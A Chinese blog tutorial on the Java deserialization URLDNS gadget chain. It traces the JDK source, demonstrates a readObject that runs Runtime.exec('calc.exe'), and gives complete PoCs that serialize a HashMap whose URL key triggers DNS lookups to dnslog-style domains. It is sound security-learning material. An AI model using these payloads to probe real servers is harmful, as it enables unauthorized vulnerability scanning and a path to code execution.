• java反序列化之URLDNS链学习


    一、前言

    近来学习java反序列化,听p神所说这个URLDNS利用链比较好理解,故决定由此进入学习的第一篇。

    URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点

    URLDNS并不能执行命令,只能发送DNS请求

    二、前置介绍

    1、Java 序列化是指把 Java 对象转换为字节序列的过程。

    • ObjectOutputStream类的 writeObject() 方法可以实现序列化。

    2、Java 反序列化是指把字节序列恢复为 Java 对象的过程。

    • ObjectInputStream 类的 readObject() 方法用于反序列化。

    实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
    (用transient 关键字修饰的属性除外,不参与序列化过程)

    代码演示说明:

    • Person.java (需要序列化的类)
    1. package com.company;
    2. import java.io.Serializable;
    3. public class Person implements Serializable {
    4. private String name;
    5. public void setName(String name){
    6. this.name= name;
    7. }
    8. public String getName(){
    9. return name;
    10. }
    11. }
    • Main.java(序列化和反序列化)
    1. package com.company;
    2. import java.io.*;
    3. public class Main {
    4. public static void main(String[] args) throws Exception{
    5. Person person = new Person();
    6. person.setName("serTest");
    7. byte[] serializeData = serialize(person);
    8. FileOutputStream outstr = new FileOutputStream("person.bin");
    9. outstr.write(serializeData);
    10. outstr.close();
    11. Person person2 = (Person) unserialize(serializeData);
    12. System.out.println(person2.getName());
    13. }
    14. public static byte[] serialize(final Object obj) throws Exception{
    15. ByteArrayOutputStream btout = new ByteArrayOutputStream();
    16. ObjectOutputStream objOut = new ObjectOutputStream(btout);
    17. objOut.writeObject(obj);
    18. return btout.toByteArray();
    19. }
    20. public static Object unserialize(final byte[] serialized) throws Exception{
    21. ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    22. ObjectInputStream objIn = new ObjectInputStream(btin);
    23. return objIn.readObject();
    24. }
    25. }

    查看Person.bin文件:

    根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

    3、Java中的反序列化readObject 支持 Override,如果开发者重写了这个readObject方法,Java在反序列化过程中会优先调用开发者重写的这个readObject方法,通常在利用中我们需要找一个落脚点也就是gadget,利用这个落脚点来执行我们的恶意操作

    readobject反序列化利用点 + 利用链 + RCE触发点

    自定义 readObject()方法示例:

    Evil.java

    1. package com.company;
    2. import java.io.Serializable;
    3. public class Evil implements Serializable {
    4. public String cmd;
    5. private void readObject(java.io.ObjectInputStream stream) throws Exception{
    6. stream.defaultReadObject();
    7. Runtime.getRuntime().exec(cmd);
    8. }
    9. }

    Main.java

    1. package com.company;
    2. import java.io.*;
    3. public class Main {
    4. public static void main(String[] args) throws Exception{
    5. Evil evil = new Evil();
    6. evil.cmd = "calc.exe";
    7. byte[] serializeData = serialize(evil);
    8. unserialize(serializeData);
    9. }
    10. public static byte[] serialize(final Object obj) throws Exception{
    11. ByteArrayOutputStream btout = new ByteArrayOutputStream();
    12. ObjectOutputStream objOut = new ObjectOutputStream(btout);
    13. objOut.writeObject(obj);
    14. return btout.toByteArray();
    15. }
    16. public static Object unserialize(final byte[] serialized) throws Exception{
    17. ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    18. ObjectInputStream objIn = new ObjectInputStream(btin);
    19. return objIn.readObject();
    20. }
    21. }

    三、URLDNS利用链(测试java版本:1.8.0_261)

    URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
    HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
    HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法。该利用链具有如下特点:

    • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
    • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
    • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

    ysoserial中列出的Gadget:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

    1. * Gadget Chain:
    2. * HashMap.readObject()
    3. * HashMap.putVal()
    4. * HashMap.hash()
    5. * URL.hashCode()

    URLDNS利用思路:

    1. 首先找到Sink:发起DNS请求的URL类hashCode方法

    2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

    3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

    4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

    原理分析

    java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

    HashMap#readObject

    对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。跟进 查看一下readObject方法: 我们可以看到它重新计算了keyHash

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws IOException, ClassNotFoundException {// 读取传入的输入流,对传入的序列化数据进行反序列化
    3. // Read in the threshold (ignored), loadfactor, and any hidden stuff
    4. s.defaultReadObject();//调用 ObjectInputStream 的 defaultReadObject 方法,用于读取默认的序列化数据,包括阈值(忽略)、负载因子和其他隐藏信息。
    5. reinitialize();//重新初始化 HashMap,恢复到默认状态
    6. if (loadFactor <= 0 || Float.isNaN(loadFactor))
    7. throw new InvalidObjectException("Illegal load factor: " +
    8. loadFactor);
    9. s.readInt(); // 读取并忽略哈希表的桶的数量,这里是为了兼容不同版本的 HashMap。
    10. int mappings = s.readInt(); // 读取映射条目的数量(即 HashMap 的大小)
    11. if (mappings < 0)
    12. throw new InvalidObjectException("Illegal mappings count: " +
    13. mappings);
    14. else if (mappings > 0) { // (if zero, use defaults)
    15. // Size the table using given load factor only if within
    16. // range of 0.25...4.0
    17. //计算实际的负载因子,确保在0.25到4.0之间。
    18. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    19. float fc = (float)mappings / lf + 1.0f;
    20. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
    21. DEFAULT_INITIAL_CAPACITY :
    22. (fc >= MAXIMUM_CAPACITY) ?
    23. MAXIMUM_CAPACITY :
    24. tableSizeFor((int)fc));
    25. float ft = (float)cap * lf;
    26. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
    27. (int)ft : Integer.MAX_VALUE);
    28. // Check Map.Entry[].class since it's the nearest public type to
    29. // what we're actually creating.
    30. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);//检查数组类型,确保能够正确创建 HashMap 中的数组
    31. @SuppressWarnings({"rawtypes","unchecked"})
    32. Node[] tab = (Node[])new Node[cap];
    33. table = tab;
    34. // Read the keys and values, and put the mappings in the HashMap
    35. for (int i = 0; i < mappings; i++) {
    36. @SuppressWarnings("unchecked")
    37. K key = (K) s.readObject();
    38. @SuppressWarnings("unchecked")
    39. V value = (V) s.readObject();
    40. putVal(hash(key), key, value, false, false);
    41. }
    42. }
    43. }

    关注putVal方法,putVal是往HashMap中放入键值对的方法

    1. /**
    2. * Implements Map.put and related methods.
    3. *
    4. * @param hash hash for key
    5. * @param key the key
    6. * @param value the value to put
    7. * @param onlyIfAbsent if true, don't change existing value
    8. * @param evict if false, the table is in creation mode.
    9. * @return previous value, or null if none
    10. */
    11. final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
    12. boolean evict) {
    13. Node[] tab; Node p; int n, i;//声明了一些变量,用于存储哈希表的数组、节点、数组长度以及索引。
    14. if ((tab = table) == null || (n = tab.length) == 0)//检查哈希表数组是否为空,如果为空,则进行初始化
    15. n = (tab = resize()).length;
    16. if ((p = tab[i = (n - 1) & hash]) == null)//根据键的哈希值计算索引位置,然后判断该位置是否为空,如果为空,则直接在该位置插入新节点。
    17. tab[i] = newNode(hash, key, value, null);
    18. else {//如果该位置已经有节点,则需要进行链表遍历或树节点遍历,找到合适的位置插入节点。
    19. Node e; K k;
    20. if (p.hash == hash &&
    21. ((k = p.key) == key || (key != null && key.equals(k))))
    22. e = p;
    23. else if (p instanceof TreeNode)
    24. e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value);
    25. else {
    26. for (int binCount = 0; ; ++binCount) {
    27. if ((e = p.next) == null) {
    28. p.next = newNode(hash, key, value, null);
    29. if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
    30. treeifyBin(tab, hash);
    31. break;
    32. }
    33. if (e.hash == hash &&
    34. ((k = e.key) == key || (key != null && key.equals(k))))
    35. break;
    36. p = e;
    37. }
    38. }
    39. if (e != null) { // existing mapping for key如果找到了相同的键,则更新该键对应的值,并返回原来的值
    40. V oldValue = e.value;
    41. if (!onlyIfAbsent || oldValue == null)
    42. e.value = value;
    43. afterNodeAccess(e);
    44. return oldValue;
    45. }
    46. }
    47. ++modCount;
    48. if (++size > threshold)
    49. resize();
    50. afterNodeInsertion(evict);
    51. return null;
    52. }

    这里调用了hash方法来处理key,跟进hash方法:

    1. static final int hash(Object key) {
    2. int h;
    3. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    4. }

    我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控的类; 而可以被我们利用的类就是下面的URLDNS,那么跟进到这个类的hashCode()方法看下

    URL#hashCode

    java.net.URL.hashCode()

    1. java.net.URL
    2. public synchronized int hashCode() { // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。
    3. if (hashCode != -1)
    4. return hashCode;
    5. hashCode = handler.hashCode(this);
    6. return hashCode;
    7. }

    当hashCode字段等于-1时会进行handler.hashCode(this)计算,跟进handler发现,定义是

    java.net.URL 
    
    transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

    找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

    1. java.net.URLStreamHandler
    2. protected int hashCode(URL u) {
    3. int h = 0;
    4. // Generate the protocol part.
    5. String protocol = u.getProtocol();
    6. if (protocol != null)
    7. h += protocol.hashCode();
    8. // Generate the host part.
    9. InetAddress addr = getHostAddress(u);
    10. if (addr != null) {
    11. h += addr.hashCode();
    12. } else {
    13. String host = u.getHost();
    14. if (host != null)
    15. h += host.toLowerCase().hashCode();
    16. }
    17. // Generate the file part.
    18. String file = u.getFile();
    19. if (file != null)
    20. h += file.hashCode();
    21. // Generate the port part.
    22. if (u.getPort() == -1)
    23. h += getDefaultPort();
    24. else
    25. h += u.getPort();
    26. // Generate the ref part.
    27. String ref = u.getRef();
    28. if (ref != null)
    29. h += ref.hashCode();
    30. return h;
    31. }

    跟进 查看getHostAddress函数,u 是我们传入的url,在调用getHostAddress方法时,会进行dns查询。参数u是this 也就是URL类对象

    1. java.net.URLStreamHandler
    2. protected synchronized InetAddress getHostAddress(URL u) {
    3. if (u.hostAddress != null)
    4. return u.hostAddress;
    5. String host = u.getHost();
    6. if (host == null || host.equals("")) {
    7. return null;
    8. } else {
    9. try {
    10. u.hostAddress = InetAddress.getByName(host);
    11. } catch (UnknownHostException ex) {
    12. return null;
    13. } catch (SecurityException se) {
    14. return null;
    15. }
    16. }
    17. return u.hostAddress;
    18. }

    这是正面的分析,整个Gadget也比较清晰了

    1. HashMap->readObject()
    2. HashMap->hash()
    3. URL->hashCode()
    4. URLStreamHandler->hashCode()
    5. URLStreamHandler->getHostAddress()
    6. InetAddress.getByName()

    利用(触发)

    接上面,回到最开始的Hashmap#readObject方法

    1. java.util.hashMap
    2. // Read the keys and values, and put the mappings in the HashMap
    3. for (int i = 0; i < mappings; i++) {
    4. @SuppressWarnings("unchecked")
    5. K key = (K) s.readObject();
    6. @SuppressWarnings("unchecked")
    7. V value = (V) s.readObject();
    8. putVal(hash(key), key, value, false, false);

    key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key

    1. java.util.hashMap
    2. private void writeObject(java.io.ObjectOutputStream s)
    3. throws IOException {
    4. int buckets = capacity();
    5. // Write out the threshold, loadfactor, and any hidden stuff
    6. s.defaultWriteObject();
    7. s.writeInt(buckets);
    8. s.writeInt(size);
    9. internalWriteEntries(s);
    10. }

    最后调用了internalWriteEntries 方法,跟进一下具体实现:

    1. java.util.hashMap
    2. // Called only from writeObject, to ensure compatible ordering.
    3. void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
    4. Node[] tab;
    5. if (size > 0 && (tab = table) != null) {
    6. for (int i = 0; i < tab.length; ++i) {
    7. for (Node e = tab[i]; e != null; e = e.next) {
    8. s.writeObject(e.key);
    9. s.writeObject(e.value);
    10. }
    11. }
    12. }
    13. }

    这里的key以及value是从tab中取的,而tab的值为HashMap类中table的值。

    HashMap 中table的定义

    1. java.util.hashMap
    2. /**
    3. * The table, initialized on first use, and resized as
    4. * necessary. When allocated, length is always a power of two.
    5. * (We also tolerate length zero in some operations to allow
    6. * bootstrapping mechanics that are currently not needed.)
    7. */
    8. //* 该表在第一次使用时初始化,并调整大小为必要的。 分配时,长度始终是 2 的幂。(在某些操作中我们还允许长度为零,以允许 目前不需要的引导机制。)
    9. transient Node[] table;

    想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

    1. java.util.hashMap
    2. public V put(K key, V value) {
    3. return putVal(hash(key), key, value, false, true);
    4. }

    ps:

    HashMapput 方法会改变 table 的值是因为它用于向哈希表中添加新的键值对。当调用 put 方法时,如果哈希表中已经存在相同的键,则会更新对应键的值;如果哈希表中不存在相同的键,则会添加新的键值对。

    put 方法中,首先会根据键的哈希值计算出在数组中的索引位置,然后根据索引位置找到对应的存储桶。如果存储桶为空,表示该位置还没有键值对,直接将新的键值对插入其中即可;如果存储桶不为空,则需要遍历存储桶中的键值对,查找是否已经存在相同的键。如果存在相同的键,则更新对应的值;如果不存在相同的键,则将新的键值对插入到存储桶的末尾。

    这个过程中涉及到对数组中存储桶的访问和修改,因此 put 方法会改变 table 的值。通过改变 table 中对应索引位置的存储桶,实现了对键值对的插入或更新操作。

     

    为了避免这一次的dns查询(防止本机与目标机器发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

    1. static class SilentURLStreamHandler extends URLStreamHandler {
    2. protected URLConnection openConnection(URL u) throws IOException {
    3. return null;
    4. }
    5. protected synchronized InetAddress getHostAddress(URL u) {
    6. return null;
    7. }
    8. }

    除了这种方法还可以在本地生成payload时,将hashCode设置不为-1的其他值。

    URL#hashCode

    1. java.net.URL
    2. public synchronized int hashCode() {
    3. if (hashCode != -1)
    4. return hashCode;
    5. hashCode = handler.hashCode(this);
    6. return hashCode;
    7. }

    如果不为-1,那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode,也就没有之后的getByName,获取dns查询

    1. java.net.URL
    2. /**
    3. * The URLStreamHandler for this URL.
    4. */
    5. transient URLStreamHandler handler;
    6. /* Our hash code.
    7. * @serial
    8. */
    9. private int hashCode = -1;

    而hashCode是通过private关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值

    1. package demo;
    2. import java.lang.reflect.Field;
    3. import java.util.HashMap;
    4. import java.net.URL;
    5. public class Main {
    6. public static void main(String[] args) throws Exception {
    7. HashMap map = new HashMap();
    8. URL url = new URL("http://7gjq24.dnslog.cn");
    9. Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
    10. f.setAccessible(true); // 绕过Java语言权限控制检查的权限
    11. f.set(url,123);
    12. System.out.println(url.hashCode());
    13. map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
    14. }
    15. }

    整个Gadget可以实现,需要的条件说白了就是这个:

    那个key,即URL类的对象的hashCode属性值为-1

    考虑到最开始调用put(),虽然没有触发URLDNS,但是同样调用了hash(),导致了传入的URL类对象的哈希值被计算了一次,hashCode不再是-1了,因此还需要再修改它的hashCode属性。但是注意这个属性是private

        private int hashCode = -1;

    因此只能用反射:

            //Reflection
            Class clazz = Class.forName("java.net.URL");
            Field field = clazz.getDeclaredField("hashCode");
            field.setAccessible(true);
            field.set(u,-1);

    完整的利用poc如下:

    1. package com.company;
    2. import java.io.FileInputStream;
    3. import java.io.FileOutputStream;
    4. import java.io.ObjectInputStream;
    5. import java.io.ObjectOutputStream;
    6. import java.lang.reflect.Field;
    7. import java.net.URL;
    8. import java.util.HashMap;
    9. public class testdemo {
    10. public static void main(String[] args) throws Exception{
    11. HashMap map = new HashMap();
    12. URL url = new URL("http://12345.40f400e994.ipv6.1433.eu.org.");
    13. Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
    14. f.setAccessible(true);
    15. f.set(url,123);
    16. System.out.println(url.hashCode());
    17. map.put(url,123);
    18. f.set(url,-1);
    19. try{
    20. FileOutputStream fos = new FileOutputStream("urldns.ser");
    21. ObjectOutputStream oos = new ObjectOutputStream(fos);
    22. oos.writeObject(map);
    23. oos.close();
    24. fos.close();
    25. FileInputStream fis = new FileInputStream("urldns.ser");
    26. ObjectInputStream ois = new ObjectInputStream(fis);
    27. ois.readObject();
    28. ois.close();
    29. fis.close();
    30. }catch(Exception e){
    31. e.printStackTrace();
    32. }
    33. }
    34. }

    使用ysoserial的poc:

    1. package com.company;
    2. import java.io.*;
    3. import java.lang.reflect.Field;
    4. import java.net.InetAddress;
    5. import java.net.URL;
    6. import java.net.URLConnection;
    7. import java.net.URLStreamHandler;
    8. import java.util.HashMap;
    9. public class URLDNS {
    10. public static void main(String[] args) throws Exception {
    11. HashMap ht = new HashMap();
    12. String url = "http://ttttt.9ea296042a.ipv6.1433.eu.org.";
    13. URLStreamHandler handler = new TestURLStreamHandler();
    14. URL u = new URL(null, url, handler);
    15. ht.put(u,url);
    16. //Reflection
    17. Class clazz = Class.forName("java.net.URL");
    18. Field field = clazz.getDeclaredField("hashCode");
    19. field.setAccessible(true);
    20. field.set(u,-1);
    21. byte[] bytes = serialize(ht);
    22. unserialize(bytes);
    23. }
    24. public static byte[] serialize(Object o) throws Exception{
    25. ByteArrayOutputStream bout = new ByteArrayOutputStream();
    26. ObjectOutputStream oout = new ObjectOutputStream(bout);
    27. oout.writeObject(o);
    28. byte[] bytes = bout.toByteArray();
    29. oout.close();
    30. bout.close();
    31. return bytes;
    32. }
    33. public static Object unserialize(byte[] bytes) throws Exception{
    34. ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
    35. ObjectInputStream oin = new ObjectInputStream(bin);
    36. return oin.readObject();
    37. }
    38. }
    39. class TestURLStreamHandler extends URLStreamHandler{
    40. @Override
    41. protected URLConnection openConnection(URL u) throws IOException {
    42. return null;
    43. }
    44. @Override
    45. protected synchronized InetAddress getHostAddress(URL u){
    46. return null;
    47. }
    48. }

  • 相关阅读:
    (附源码)计算机毕业设计SSM基于的校园失物招领平台
    【前端设计模式】之状态模式
    Greenplum高可用-从失效segment恢复
    Qt开发环境搭建
    Code Review最佳实践
    【Android笔记54】Android中几个常见的系统广播(分钟广播、网络广播、桌面和任务栏广播)
    克隆虚拟机
    Flask数据库_SQLAIchemy常用的数据类型与使用
    C语言游戏实战(9):球球大作战
    ARM第四次
  • 原文地址:https://blog.csdn.net/youuzi/article/details/138129801